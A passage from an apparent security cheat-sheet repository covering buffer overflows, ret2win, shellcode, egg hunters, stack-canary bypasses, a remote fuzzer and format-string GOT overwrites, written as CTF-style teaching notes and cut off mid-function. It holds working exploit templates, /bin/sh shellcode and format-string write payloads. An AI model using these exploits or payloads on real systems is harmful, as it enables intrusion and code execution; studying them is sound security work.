├── .gitignore ├── Binary Exploitation ├── BufferOverflows │ ├── BufferOverflows.md │ ├── images │ │ ├── MemoryDiagram.png │ │ └── StackDiagram.png │ └── scripts │ │ └── simple_remote_fuzzer.py ├── FormatStrings │ └── FormatStrings.md ├── HeapExploits │ └── HeapExploits.md ├── README.md ├── ROP │ └── ROP.md ├── Reversing │ └── Reversing.md ├── Theory │ ├── BinaryTimelines.md │ ├── MemoryProtections.md │ └── Shellcoding.md └── Tooling │ ├── PwntoolsCheatsheet.md │ ├── Templates │ ├── .gdbinit │ └── pwn.py │ └── Tooling.md ├── CONTRIBUTING.md ├── Cryptography ├── PaddingOracle.md ├── README.md └── TLSCipherSuites.md ├── Mobile ├── Android │ ├── DynamicAnalysis │ │ ├── README.md │ │ └── SSLPinning.md │ └── StaticAnalysis │ │ ├── Drozer.md │ │ ├── MobSF.md │ │ └── README.md ├── IOS │ ├── DynamicAnalysis │ │ └── README.md │ └── StaticAnalysis │ │ └── README.md └── README.md ├── Networks ├── Cellular │ └── README.md ├── Ethernet │ └── README.md ├── README.md └── WiFi │ └── README.md ├── README.md ├── SecurityFieldDiagram.svg └── Web ├── BrokenAccessControl ├── IDOR.md └── images │ └── IDOR_Diagram.png ├── DirectoryTraversal └── DirectoryTraversal.md ├── FileInclusion ├── LFI │ └── LFI.md └── RFI │ └── RFI.md ├── Injection ├── CommandInjection │ └── CommandInjection.md ├── SQLI │ ├── SQLI.md │ └── images │ │ ├── Blind_SQLi_Diagram.png │ │ ├── UNION_payload_diagram.png │ │ └── vuln_login_query_anatomy.png ├── TemplateInjection │ ├── Server-SideTemplateInjection.md │ └── images │ │ ├── Template_Engine_Decision_Diagram.png │ │ └── template-decision-tree.png ├── XSS │ ├── XSS.md │ └── scripts │ │ └── xss_complete.txt └── XXE │ └── XXE.md ├── ParameterPollution ├── ParameterPollution.md └── images │ ├── pollutable_url.png │ └── url_handling.png ├── README.md ├── Recon └── Recon.md └── SSRF └── SSRF.md /.gitignore: -------------------------------------------------------------------------------- 1 | .vscode/ -------------------------------------------------------------------------------- /Binary Exploitation/BufferOverflows/BufferOverflows.md: -------------------------------------------------------------------------------- 1 | # Buffer Overflows 2 | 3 | Buffer Overflows are a type of binary exploitation which arise from poor programing practices and memory allocation in memory managed programing languages like C. They are an example of 'mixing data and control'. 4 | 5 | ## See Also 6 | 7 | ###### ‣ [Heap Based](../HeapExploits/HeapExploits.md) 8 | 9 | ## Recommended Reading 10 | 11 | + [Tooling](../../Tooling/Tooling.md) 12 | + [Memory Protections](../../Theory/MemoryProtections.md) 13 | + [Reversing](../../Reversing/Reversing.md) 14 | + [The Binary Timeline](../../Theory/BinaryTimelines.md) 15 | + [Virtual Memory](https://devsheets.cybernetic.coffee/os/virtual-memory/) 16 | 17 | 18 | ## The Stack 19 | 20 | In general the stack is a part of the region in virtual memory allocated to a program when it is chosen by the scheduler to run. This region is known as the programs address space. 21 | 22 | ### A Simplified View Of Virtual Memory 23 | 24 | + The bellow diagram represents a programs/processes address space as it appears in virtual memory 25 | + For a more detailed diagram and explication see [DevSheets Virtual Memory](https://devsheets.cybernetic.coffee/os/virtual-memory/) or [SecSheets VM]() 26 | 27 | ``` 28 | Stack Bottom +------------> +---------------------------------------------------+ + 29 | | | | 30 | | | | 31 | | | | 32 | | Stack Region | | 33 | | | | 34 | | | | Lower Memory Addresses 35 | +------------------------+--------------------------+ | 36 | | | | | 37 | | | | | 38 | | | | | 39 | | | | | 40 | | | | | 41 | | | | | 42 | | v | v 43 | Stack Top +-----------> +---------------------------------------------------+ 44 | | | 45 | | | 46 | | Shared Libraries | 47 | | | 48 | | | 49 | +---------------------------------------------------+ ^ 50 | | ^ | | 51 | | | | | 52 | | | | | 53 | | | | | 54 | | | | | 55 | | | | | 56 | | | | | 57 | | | | | 58 | +------------------------+--------------------------+ | Higher Memory Addresses 59 | | | | 60 | | | | 61 | | Heap Region | | 62 | | | | 63 | | | | 64 | +---------------------------------------------------+ + 65 | | | 66 | | Data | 67 | | | 68 | +---------------------------------------------------+ 69 | | | 70 | | | 71 | | | 72 | | | 73 | | Text | 74 | | | 75 | | | 76 | | | 77 | | | 78 | +---------------------------------------------------+ 79 | 80 | ``` 81 | 82 | ### Stack Growth 83 | 84 | + Indeed the stack does not grow sideways, but thinking about how the stack grows relative to the processes address space and the heap can be confusing 85 | 86 | + It has in fact been claimed that inverting the direction the stack grows in could be a mitigation to stack based buffer overflows 87 | + Unfortunately not a meme 88 | 89 | + The important thing to remember is that **conventionally** the stack grows **down in address value** 90 | + The more we `push` to the stack the **lower** the address that the stack pointer points to (`esp | rsp`) 91 | + The more we `pop` from the stack the **higher** the address that the stack pointer points to 92 | 93 | + We think of the **top** of the stack as **lowest** address of the stack region in [vm](https://devsheets.cybernetic.coffee/os/virtual-memory/) 94 | + Thus the **bottom** of the stack is its **highest** address in the stack region 95 | + It is important to note that **this is not always the case** 96 | + Sadly it is just as confusing to flip the logic above in the case of a stack that grows up 97 | 98 | 99 | ## Key x86 Stack Registers 100 | 101 | + When working on the stack, and overwriting data on it, it is useful to know about a few key registers 102 | + These are the registers you will interact with frequently as you smash the stack 103 | + What the f*ck is an x86? 104 | + Basically the overarching **instruction set architecture** (now x86-64) used on most modern systems 105 | + Instruction set = things the cpu can beep boop = spicy integers 106 | + A little history ... 107 | + Computers got smaller 108 | + But other things got bigger 109 | + Like the size of instructions 110 | + Hence our ancient friends the x86 16bit instructions were extended 111 | + This was the birth of x86 32bit instruction set with `E` prefix registers 112 | + Now instructions got more chonk --> x86 64bit instructions 113 | + Programmers couldn't think of another letter to mean extended-extended again so they used a **r**?? 114 | 115 | ### x86-32 116 | 117 | + **eax:** Conventionally (compiler based) stores the address of the return from a function call 118 | + **esp:** Extended Stack Pointer, points to the most recent data on the stack 119 | + **ebp:** Extended Base Pointer, points to the bottom of the stack region 120 | + **eip:** Extended Instruction Pointer, points to the current instruction to be executed in the program 121 | 122 | 123 | 124 | ### x86-64 125 | 126 | + **rax:** Conventionally (compiler based) stores the address of the return from a function call 127 | + **rsp:** Stack Pointer, points to the most recent data on the stack 128 | + **rbp:** Base Pointer, points to the bottom of the stack region 129 | + **rip:** Instruction Pointer, points to the current instruction to be executed in the program 130 | 131 | ## Ret2win 132 | 133 | + Ret2win refers to the tactic or idea of returning to a 'win' function 134 | + In most cases this 'win' function is artificial subroutine introduced by the challenge creator to reduce the difficulty of exploiting the binary 135 | + In exceptionally rare cases the 'win' function could be a real function within a legitimate/real binary in the wild which houses code which gives the exploiter control 136 | + For example a function which pops a shell for some reason, or reads a protected file 137 | 138 | 139 | ### Example 140 | 141 | + Consider the following C sauce 142 | 143 | ```c 144 | 145 | #include 146 | #include 147 | #include 148 | #include 149 | 150 | void win() { 151 | printf("Herin sleeps the shell\n"); 152 | system("/bin/sh"); 153 | } 154 | 155 | 156 | int guess = 0; 157 | 158 | int main(){ 159 | srand(time(NULL)); 160 | char input[10]; 161 | int random = (rand() % (126-32)) + 32; 162 | 163 | printf("Can you guess what number I'm thinking of?\n"); 164 | 165 | fgets(input,10,stdin); 166 | if(!strchr(input, '\n')){ 167 | while(fgetc(stdin)!='\n'); 168 | } 169 | 170 | guess = atoi(input); 171 | if (guess != random){ 172 | printf("WRONG!!!\nThe number was: %d\n",random); 173 | printf("Do you want me to check your answer again? y\\n \n"); 174 | 175 | gets(input); // gEts bRuH <----------------------------------- 👀👀👀 176 | 177 | if(input[0] != 'y'){ 178 | return 0; 179 | } 180 | 181 | if (guess == random) { 182 | printf("You still lose...\n"); 183 | } 184 | } 185 | 186 | return 0; 187 | } 188 | 189 | 190 | ``` 191 | 192 | + Note if we didn't have the source code the compiled binaries [disassembly](/todo/tooling) resembles the following 193 | 194 | ```c 195 | 196 | 197 | ////////////////////////////////////////////// WIN \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 198 | 199 | void win(void) 200 | { 201 | int32_t unaff_EBX; 202 | int32_t var_4h; 203 | 204 | __x86.get_pc_thunk.bx(); 205 | puts(unaff_EBX + 0xcee); 206 | system(unaff_EBX + 0xd05); 207 | return; 208 | } 209 | 210 | ////////////////////////////////////////////// MAIN \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 211 | 212 | 213 | undefined4 main(void) 214 | { 215 | undefined4 uVar1; 216 | int32_t iVar2; 217 | int32_t unaff_EBX; 218 | char *str; 219 | uint32_t var_8h; 220 | int32_t var_4h; 221 | undefined4 random; 222 | 223 | __x86.get_pc_thunk.bx(); 224 | uVar1 = time(0); 225 | srand(uVar1); 226 | iVar2 = rand(); 227 | var_8h = iVar2 % 0x5e + 0x20; 228 | puts(unaff_EBX + 0xcd4); 229 | fgets(&str, 10, **(undefined4 **)(unaff_EBX + 0x2ca0)); 230 | iVar2 = strchr(&str, 10); 231 | if (iVar2 == 0) { 232 | do { 233 | iVar2 = fgetc(**(undefined4 **)(unaff_EBX + 0x2ca0)); 234 | } while (iVar2 != 10); 235 | } 236 | uVar1 = atoi(&str); 237 | *(undefined4 *)(unaff_EBX + 0x2cb8) = uVar1; 238 | if (var_8h != *(uint32_t *)(unaff_EBX + 0x2cb8)) { 239 | .plt.sec(unaff_EBX + 0xcff, var_8h); 240 | puts(unaff_EBX + 0xd1c); 241 | gets(&str); 242 | if (((char)str == 'y') && (var_8h == *(uint32_t *)(unaff_EBX + 0x2cb8))) { 243 | puts(unaff_EBX + 0xd4c); 244 | } 245 | } 246 | return 0; 247 | } 248 | 249 | 250 | ``` 251 | 252 | + We can see that if we could reach the win function we will be able pop a shell (which is great for us) 253 | + However nowhere in the code is win called 🤔 254 | + So how can we get there ?? 255 | + In the second if block in main 256 | 257 | ```c 258 | 259 | *(undefined4 *)(unaff_EBX + 0x2cb8) = uVar1; 260 | if (var_8h != *(uint32_t *)(unaff_EBX + 0x2cb8)) { 261 | .plt.sec(unaff_EBX + 0xcff, var_8h); 262 | puts(unaff_EBX + 0xd1c); 263 | gets(&str); 264 | 265 | // <-- ... --> 266 | 267 | ``` 268 | 269 | + We see the fastest way to end your development career with a `gets(&str)` function call 270 | + `gets()` is a dangerous function, why, because it is unguarded 271 | + Any number of bytes can walk straight through the buffers stack allocation and out onto the rest of the programs stack region 272 | + With the source code we can see that the buffer `input[10]` is allocated 10 bytes of memory on the stack 273 | + This means that any string longer than 9 characters provided as input to the running binary will overflow the buffer and the extra bytes will overwrite the preceding data on the stack 274 | + But how far do we go? Why? Where? 275 | 276 | ### The Return Pointer 277 | 278 | + At the end of every function there is a return instruction 279 | + In x86 the following are valid return instructions 280 | + `ret` 281 | + `retn` 282 | + A return to a calling procedure within the current code segment 283 | + `retf` 284 | + A return to a calling procedure located in a different segment than the current code segment 285 | + Note the `ret` instruction is a pseudo instruction which will be translated contextually into either a `retn` or `retf` instruction 286 | + When `ret` is called the program attempts to transfer control to the instructions on the call stack pointed to by the return address 287 | + Typically when we overrun a buffer with enough bytes we will eventually overwrite the address return points to 288 | + From here a few things could occur: 289 | + The overwritten address now probably points to some garbage bytes from your cyclic pattern or perhaps a bunch of `\x61` bytes which are not likely to form a valid location in the programs memory causing a **SEGFAULT** to occur as the program attempts to jump to invalid memory 290 | + The second thing that can happen is the return pointer is overwritten with a valid location in the programs memory and can return to that segment and continue execution 291 | + Our goal is to control this return pointer and overwrite it with a memory address of our choosing 292 | + If we can control the return pointer than we can control the flow of execution and ultimately execute instructions of our choosing 293 | + In the case of ret2win however we simply want to overwrite the return pointer with the address of the win function thus transferring the flow of execution there and executing whatever instructions lie within 294 | 295 | ### Sample Exploit 296 | 297 | + Bellow is an example exploit using [pwntools](../../../Tooling/Tooling.md) for exploiting a ret2win buffer overflow 298 | 299 | ```python 300 | from pwn import * 301 | 302 | r = remote('', ) 303 | # r = process('./') 304 | 305 | padding = b'A' * cyclic_find(b'aala') 306 | 307 | # E.G 0x80484d6 308 | payload = padding + p32() 309 | 310 | r.sendline(payload) 311 | 312 | r.interactive() 313 | 314 | ``` 315 | 316 | ## Ret2shellcode 317 | 318 | + Now that we have seen the general approach to buffer overflows and explored the notion of controlling the return pointer we can now talk about what to do if we do not have a win function to return to 319 | 320 | ### Shellcode 321 | 322 | + Shellcode is the name given to chaining opcodes together in a payload to, historically, pop a shell 323 | + A typical chunk of shellcode looks like ` 324 | "\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x50\x8d" 325 | "\x53\x08\x52\x53\xb0\x3b\x50\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh"` 326 | + However we live in the modern era and there exists the [pwntools]() library 327 | + With pwntools we can build our shellcode in x86, this typically looks something like 328 | 329 | ```python 330 | shellcode = asm(''' 331 | xor eax, eax 332 | push eax 333 | 334 | push 0x68732f2f 335 | push 0x6e69622f 336 | 337 | mov ebx, esp 338 | push eax 339 | 340 | push ebx 341 | mov ecx, esp 342 | mov al, 0xb 343 | 344 | int 0x80 345 | ''') 346 | ``` 347 | + For more on writing custom shellcode see [shellcoding](../../../Theory/Shellcoding.md) 348 | + We can craft our own shellcode or use some great ones from [shell-storm](shell-storm.org/shellcode) to essentially do whatever we want 349 | + If we can now redirect the execution of a program to the start of our shellcode then we can also force the program to do whatever our shellcode instructs 350 | + But how do we return to or execute our shellcode? 351 | 352 | ### Locating The Shellcode 353 | 354 | + In scenarios without ASLR and other [memory protections](../../../Theory/MemoryProtections.md) we can simply [reverse](../../../Reversing/Reversing.md) the binary to work out the offset from the return pointer to our buffer and hardcode that address 355 | + In other cases we may have a large buffer that we control and can place a nopsled into the buffer and then guess a random offset that hopefully points somewhere into our nopsled, see [circumventing memory protections](#circumventing-memory-protections) 356 | + In further cases still we may be able to leak and address, with say a [format string](../../../Format%20Strings/Format%20Strings.md), or we may be provided with one 357 | + In this case we use the address to calculate offsets to our shellcode buffer 358 | 359 | 360 | ### Debugging Shellcode 361 | 362 | 363 | + To test if a exploit payload is working and jumping to the start of the shellcode a breakpoint or 'SIGTRAP' opcode can be propended to the shellcode 364 | + This will cause an attached debugger like GDB to pause at the start of the shellcode, or wherever the `\xcc` opcode is placed, for analysis 365 | + Opcode `"\xcc"` 366 | + x86 ASM `int3` 367 | 368 | ## Egg Hunters 369 | 370 | + An egg hunter is a stack based buffer overflow strategy that allows execution of useful shellcode in a environment where the vulnerable buffer is too small to place enough shellcode to pop a shell 371 | 372 | ### Environmental Conditions 373 | 374 | + To utilise a egg hunter approach we need the following conditions to be satisfied 375 | + One one or more larger buffers that we can place shellcode into but cannot overflow (due to proper use of APIs or similar) 376 | + A smaller vulnerable buffer that we control 377 | + The size of memory pages or a leaked stack address 378 | 379 | ### Approach 380 | 381 | + The concept now is to place a small shellcode payload into the small vulnerable buffer that searches for the main shellcode in the larger non vulnerable buffer 382 | + But how do we search for this larger buffer and how do we know when we've found it? 383 | 384 | ### The Egg Hunter 385 | 386 | + To begin with we decide on a 'unique' string of bytes that we will use as a signature to search for 387 | + This 'unique' string will be placed at the beginning of the main shellcode 388 | + It is not possible to guarantee that the chosen string will only appear once on the stack and thus the search may occasionally return false positives 389 | + The shellcode for the hunter uses a neat x86 instruction called [scasd](https://c9x.me/x86/html/file_module_x86_id_287.html) 390 | + Once we locate our signature we jump there and execute our main shellcode 391 | 392 | ```python 393 | # Shellcode for egghunter with leaked stack address 394 | # Signature : 0x42424242 395 | egghunt_shellcode = asm(f''' 396 | mov eax, 0x42424242 397 | mov edi, {stack_base_address} 398 | next_addr: 399 | scasd 400 | jnz next_addr 401 | 402 | jmp edi 403 | ''') 404 | ``` 405 | 406 | + Without a leaked stack address (from which to calculate the stack_base) we can search each of the processes pages withing its address space 407 | + Attempting to read some of these may result in faults being triggered so we need a way to test that we can read a particular page 408 | + We also need the page size in order to calculate a range to search, this could be brute forced in the face of an unknown system 409 | 410 | ```python 411 | # Ref: https://mosunit.com 412 | # Signature : 0x42424242 413 | egghunt_shellcode = asm(''' 414 | global _start 415 | section .text 416 | _start: 417 | xor edx, edx 418 | align_page: 419 | or dx, 0xffff 420 | traverse_page: 421 | inc edx 422 | ; access syscall 423 | lea ebx, [edx + 4] 424 | push byte 0x21 425 | pop eax 426 | int 0x80 427 | ; validate memory address 428 | cmp al, 0xf2 429 | jz align_page 430 | ; search egg 431 | mov eax, 0x42424242 432 | mov edi, edx 433 | scasd 434 | jnz traverse_page 435 | scasd 436 | jnz traverse_page 437 | ; jump to shellcode 438 | jmp edi 439 | ''') 440 | ``` 441 | 442 | ### The Egg 443 | 444 | + The 'egg' itself is simply a useful shellcode payload which we propend with our chosen 'unique' signature 445 | 446 | ```python 447 | # Repeat signature 2x for better luck 448 | main_shellcode = p32(0x42424242) 449 | main_shellcode += p32(0x42424242) 450 | 451 | # /bin/sh 452 | main_shellcode += asm(''' 453 | xor eax, eax 454 | push eax 455 | 456 | push 0x68732f2f 457 | push 0x6e69622f 458 | 459 | mov ebx, esp 460 | push eax 461 | 462 | push ebx 463 | mov ecx, esp 464 | mov al, 0xb 465 | 466 | int 0x80 467 | ''') 468 | ``` 469 | 470 | ## Circumventing Memory Protections 471 | 472 | + For a more highlevel overview of what these memory protections do and how they affect exploitation see [memory protections](../../../Theory/MemoryProtections.md) 473 | 474 | ### Stack Canaries 475 | 476 | + If a custom canary is in place we can usually circumvent it in one of two ways 477 | + Bruteforce its value: if the binary is not available locally and/or the canary is generated at runtime 'randomly' 478 | + Leak its value: by reversing the binary if the canary is static in memory or via a [format string exploit](../../../Format%20Strings/Format%20Strings.md) 479 | + If we can do this then we need only overwrite the stack canary with the correct value in our payload and then replace the return pointer with one of our choosing 480 | 481 | #### Example Circumventing A Custom Canary Given Binary 482 | 483 | ```python 484 | r = process('./') 485 | 486 | ############################################################################## 487 | ''' 488 | 489 | check_canary <-- main 490 | 491 | | 492 | | 493 | V 494 | 495 | --> char *s 496 | --> char *s1 <-- W.T.B >> '1234' 497 | --> gets (s); 498 | --> eax = strncmp (s1, "1234", 4); <-- if s1[:b'4'] == '1234' = 0 -> win 499 | --> gets(s) <-- overrun s to modify s1 500 | 501 | ''' 502 | ############################################################################## 503 | 504 | s1 = b'1234' # identified / leaked canary 505 | padding = b'A' * 141 506 | payload = padding + s1 # <-- '1234' 507 | 508 | r.sendline(payload) 509 | r.interactive() 510 | ``` 511 | #### GCC Like Stack Canaries 512 | 513 | + Given a compiler implemented stack canary like that of GCC only two options are really available 514 | + Bruteforce/Guess: Feasible on 32bit systems, much harder on 64bit architectures 515 | + Leak: Some function that prints stack address values, [format string exploits](../../../Format%20Strings/Format%20Strings.md) 516 | 517 | + If we can do this then we need only overwrite the stack canary with the correct value in our payload on the way past and then replace the return pointer with one of our choosing 518 | 519 | ```python 520 | # example given memory leak function (a) and a win function 521 | proc = process('./) 522 | 523 | CANARY_OFFSET = 524 | 525 | print(proc.recvuntil('stack pointer ')) 526 | 527 | stack_ptr = proc.recvuntil('\n').strip(b'\n') 528 | packed_stack_ptr = p32(int(stack_ptr, 16) + CANARY_OFFSET) 529 | print(stack_ptr) 530 | print(packed_stack_ptr) 531 | 532 | 533 | ''' 534 | 535 | >-> We now need to leak the value stored at the canary's address 536 | >-> In this case the binary provides us with a way to do this using opt b 537 | 538 | ''' 539 | 540 | # feed it the address into buf 541 | proc.sendline('a') 542 | proc.recvuntil('len: ') 543 | proc.sendline(packed_stack_ptr) 544 | 545 | # yank the value 546 | proc.recvuntil('quit\n') 547 | proc.sendline('b') 548 | proc.recvuntil(': ') # gtg 549 | canary_value = proc.recv(4) # recive 4 bytes 550 | 551 | 552 | # unpack the addr 553 | canary_value = p32(u32(canary_value)) 554 | print(f"CAN VAL :: {canary_value}") 555 | 556 | proc.sendline('a') 557 | 558 | proc.recvuntil('len:') 559 | 560 | ''' 561 | >-> cyclic output yeilds 108 offset 562 | ''' 563 | 564 | ## SOMEWHERE HERE WE WANT TO OVERWRITE THE STACK COOKIE WITH THE RIGHT VALUE 565 | ## SINCE OUR PADDING WOULD DAMAGE IT ON THE WAY PAST OTHERWISE 566 | padding = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaa' 567 | 568 | # Overwrite ECX with the cookie on the way past, zooom woosh 569 | cooked = canary_value 570 | pad_to_eip = b'a' * 8 571 | 572 | ## Hard code win from disassembly 573 | eip_to_win = p32() 574 | 575 | payload = padding + cooked + pad_to_eip + eip_to_win + b'\x90' 576 | 577 | proc.sendline(payload) 578 | print(proc.recvuntil('quit\n')) 579 | 580 | # Trigger our ret call 581 | proc.sendline('d') 582 | 583 | # Catch shell 584 | proc.interactive() 585 | 586 | ``` 587 | 588 | ### ASLR 589 | 590 | + ~ 591 | 592 | ### PIE 593 | 594 | + ~ 595 | 596 | ### NX 597 | 598 | + ~ 599 | 600 | ### RELRO 601 | 602 | + ~ -------------------------------------------------------------------------------- /Binary Exploitation/BufferOverflows/images/MemoryDiagram.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Angus-C-git/SecSheets/caf14c100f86e99cad862998cf9573c103f811d8/Binary Exploitation/BufferOverflows/images/MemoryDiagram.png -------------------------------------------------------------------------------- /Binary Exploitation/BufferOverflows/images/StackDiagram.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Angus-C-git/SecSheets/caf14c100f86e99cad862998cf9573c103f811d8/Binary Exploitation/BufferOverflows/images/StackDiagram.png -------------------------------------------------------------------------------- /Binary Exploitation/BufferOverflows/scripts/simple_remote_fuzzer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import sys, socket 4 | from time import sleep 5 | 6 | """ 7 | 8 | --> A Simple python3 remote server buffer overflow fuzzer 9 | 10 | -> Helps save time determining at what byte size a given buffer overflowe 11 | -> Tweak to your needs 12 | 13 | """ 14 | 15 | 16 | 17 | current_buffer = "A" * 100 # Arbitary inital buffer length --> Should be adapted on a scenario basis 18 | target_ip = '192.168.0.0' # Place holder host/target/remote server IP address 19 | target_port = 9999 # Place holder host/target/remote server port number 20 | 21 | 22 | while True: 23 | 24 | try: 25 | 26 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 27 | sock.connect(('{target_ip}', target_port)) # Form socket connection to remote server 28 | 29 | sock.send(('RELEVANT SERVER COMMAND' + current_buffer)) # Add current test buffer size as an argument to fuzz desired command 30 | sock.close() 31 | sleep(1) # Reduce load on remote server 32 | 33 | current_buffer = current_buffer + "A" * 100 # Index the buffer by another arbitary ammount 34 | 35 | except: 36 | 37 | print("Fuzzing crashed at {} bytes".format(len(current_buffer))) 38 | sys.exit() -------------------------------------------------------------------------------- /Binary Exploitation/FormatStrings/FormatStrings.md: -------------------------------------------------------------------------------- 1 | # Format Strings 2 | 3 | It is the responsibility of the caller to push the relevant arguments for the format function to the stack. This means if the arguments are not supplied the format function goes looking for its `vargs...` on the stack. This creates a format string vulnerability where we can supply as many format specifier flags as the buffer allows. 4 | 5 | 6 | ## Layout of Format Specifier Flags 7 | 8 | `%` 9 | 10 | ### `Types` 11 | 12 | + `%s` 13 | + print as string 14 | + `%x` 15 | + print as hex 16 | + `%p` 17 | + print as pointer 18 | + `%c` 19 | + print as char 20 | + `%d` 21 | + print as (signed) int 22 | + `%u` 23 | + print as (unsigned) int 24 | + `%n` --> **Exceptionally Useful** 25 | + write the number of printed bytes 26 | 27 | ### `Modifiers` 28 | 29 | * `%d` 30 | + print as (signed) int 31 | * `%hd` 32 | + print as half (signed) int 33 | * `%hhd` 34 | + print as half half (signed) int 35 | * `%n` 36 | + write as int 37 | * `%hn` 38 | + write as half int 39 | * `%hhn` 40 | + write as half half int 41 | 42 | ### `Precision` 43 | 44 | + `printf("%.3s", "abcdef");` 45 | + `>> "abc"` 46 | + Strips the supplied argument to some positional 47 | 48 | ### `Width` 49 | 50 | + `%d` 51 | + Print `x` whitespace bytes then the `d` argument 52 | + Traditionally used to pad output with whitespace 53 | 54 | ```c 55 | printf("%5d", 10); 56 | 57 | >> 10 58 | ``` 59 | + We repurposed it to save space in our payload in the face of a smaller buffer 60 | 61 | ### `Flags` 62 | 63 | 64 | * `-` 65 | + Left-align the output 66 | * `+` 67 | + Prepends a plus for positive signed-numeric types 68 | * `\` 69 | + Prepends a space for positive signed-numeric types 70 | * `0` 71 | + Prepends zeros 72 | * `'` 73 | + Show thousandths separators 74 | * `#` 75 | + misc 76 | 77 | 78 | ## Dumping The Stack 79 | 80 | + In some cases we may desire only to leak addresses off the stack, or comb 81 | + For example in a fully remote exploit where we want a secret from memory and do not have the binary locally 82 | + In these cases we are not interested in writing memory 83 | + The approach for dumping the stack is fairly simple normally we want to fill the buffer with as many `%{index}$p` format specifiers as it will allow and then put this in a loop which increases all of the indexes sequentially 84 | + The following is a crude python implementation 85 | 86 | ```python 87 | def dump_stack(): 88 | # 89 | for base_index in range(0, STACK_BOUNDARY): 90 | process.sendline(f'%{base_index}$p %{base_index + 1}$p %{base_index + 2}$p %{base_index + 3}$p') 91 | process.recvutil('') 92 | ``` 93 | 94 | ## Leaking Addresses 95 | 96 | + The strength of a single leaked address in the stack, GOT or library regions cannot be underrated and forms the basis of the easiest [memory protection circumvention]() strategies 97 | + In many cases with an address discoverable at runtime the offsets to many useful memory segments can be calculated allowing an attacker near arbitrary control of the binary 98 | 99 | ### Example 100 | 101 | + Consider a simple binary with PIE and ASLR enabled 102 | + There is a small buffer, just large enough for a simple `/bin/sh` shellcode, that we control input data to 103 | + There is also a vulnerable `printf` function which reads from a buffer which allows for a single format specifier to be supplied 104 | + Initially we have no way of determining where our buffer is, other than guessing, and the buffer is far too small to supplement with a nop sled 105 | + However by supplying a single `%p` to the vulnerable `printf` buffer we can leak an address off the stack 106 | + Now with simple reversing/debugging we can take the address leaked from `printf` and subtract / add the address of the other controlled buffer to work out how far apart they are 107 | + For example imagine `%p` returns the address `0x080488a1` and our buffer for this particular execution is @ `0x080486b4` (determined with debugger) 108 | + We can then calculate the offset `0x080488a1 - 0x080486b4 = 493` to our buffer which will remain the same between executions 109 | + Hence we can overflow the return pointer with `<%p-leaked-addr> - 493` to jump to our shellcode, if we have a BOF of course 110 | 111 | ## Writing Values 112 | 113 | + Enter the `%n` family of format specifiers 114 | + These specifiers are what really give format string vulnerabilities their name because they have the power to write bytes 115 | 116 | ### `%n` Usage and Pitfalls 117 | 118 | + The following exploit snippet demonstrates the use of `%n` to write some specific data to an address `target_addr + b"%4$1162691917x" + b"%4$n"` 119 | + The issue here however is that we attempt to write `1162691917` bytes (ASCII for 'MEME'), thats a lot of bytes especially over your dial up ADSL connection 120 | + In fact this exact payload crashed my laptop 121 | 122 | ### `%hhn` and `%hn` 123 | 124 | + A common strategy instead of writing a bazillion bytes at once we can write two bytes at a time, with `%hn` or even one byte at a time with `%hhn` 125 | + This results in a smaller payload size, an easier to implement exploit, and more reliable exploit overall 126 | + In many cases it may be easier to simply write one byte at a time, the following explains how to implement this 127 | 128 | #### Example 129 | 130 | + Suppose we want to overwrite the GOT entry for `printf` @ `0x8049843` with the address of a win function @ `0x08048536` 131 | + We can can do so one byte at a time with `hhn` in the following fashion 132 | 133 | ```python 134 | payload = b"" 135 | payload += p32(got_printf) # <- Lowest byte 136 | payload += p32(got_printf + 1) # <- 2rd lowest byte 137 | payload += p32(got_printf + 2) # <- 3rd lowest byte 138 | payload += p32(got_printf + 3) # <- 4th lowest byte 139 | 140 | # --- We subtract 16 off 0x36 here 141 | # to account for the 16 bytes of 142 | # addresses we have already written 143 | payload += b"%38c%3$hhn" # @0x36 <- 54 - 16 = 38 (4 addrs @ 4 bytes each) 144 | 145 | # --- We proceed by simply 146 | # subtracting the previous byte 147 | # from the current byte and 148 | # writing that decimal value 149 | payload += b"%79c%4$hhn" # @0x85 <- 0x85 - 0x36 150 | 151 | # --- Where the value we wish 152 | # to write is negative we 153 | # can overflow the value to 154 | # the desired one by adding 155 | # 0x100 padding to wrap around 156 | payload += b"%127c%5$hhn" # @0x04 <- (0x04 - 0x85) + 0x100 157 | payload += b"%4c%6$hhn" # @0x08 <- (0x08 - 0x04) 158 | ``` 159 | + Note the changing byte reference alongside the format specifier 160 | + In many cases your address in the buffer will be further away then the example demonstrates and thus the referenced bytes will need to be changed accordingly 161 | 162 | ## Automated Format Sting Payloads 163 | 164 | As will often be the case enabled memory protections will prevent the hardcoding of addresses in format string payloads meaning that they will need to be constructed dynamically using a leak and offset calculations. Furthermore the process of constructing format string payloads is repetitive and the code largely unchanging. 165 | 166 | Hence, [pwntools](../tooling#pwntools) implements a function to automatically construct format string payloads. An example usage is bellow. 167 | 168 | 169 | ```python 170 | bytes_offset = 2 171 | 172 | addr_val = 0x0809879d # win function 173 | target_addr = 0x0809183b # printf plt 174 | 175 | # start bytes 176 | payload = fmtstr_payload(bytes_offset, {target_addr: addr_val}, numbwritten=1, write_size='byte') 177 | ``` 178 | 179 | **However**, this library function has a critical flaw. It often writes more bytes then are required to actually write the desired value to memory, this often leads to corruption of the stack. Hence it is often useful to have your own library function to construct format string payloads that writes the smallest possible number of bytes. Such a function may look like the following. 180 | 181 | 182 | ```python 183 | """ Custom Builder for format string payloads """ 184 | 185 | # Wrapper constant 186 | WRAP = 0x100 187 | # Account for already written bytes 188 | ADJUST = 16 189 | 190 | ''' 191 | ► target :: Address to write to 192 | ► goal :: Value to write 193 | ► start_byte :: Index of lowest byte (buffer position) 194 | ''' 195 | 196 | def build(target, goal, start_byte=1, max_write=4): 197 | # >-> Goal Construction <-< 198 | bytes = [ 199 | (goal & 0x000000FF), 200 | (goal & 0x0000FF00) >> 0x8, 201 | (goal & 0x00FF0000) >> 0x10, 202 | (goal & 0xFF000000) >> 0x18 203 | ] 204 | 205 | # >-> Target Construction <-< 206 | payload = b''.join([p32(target + offt) for offt in 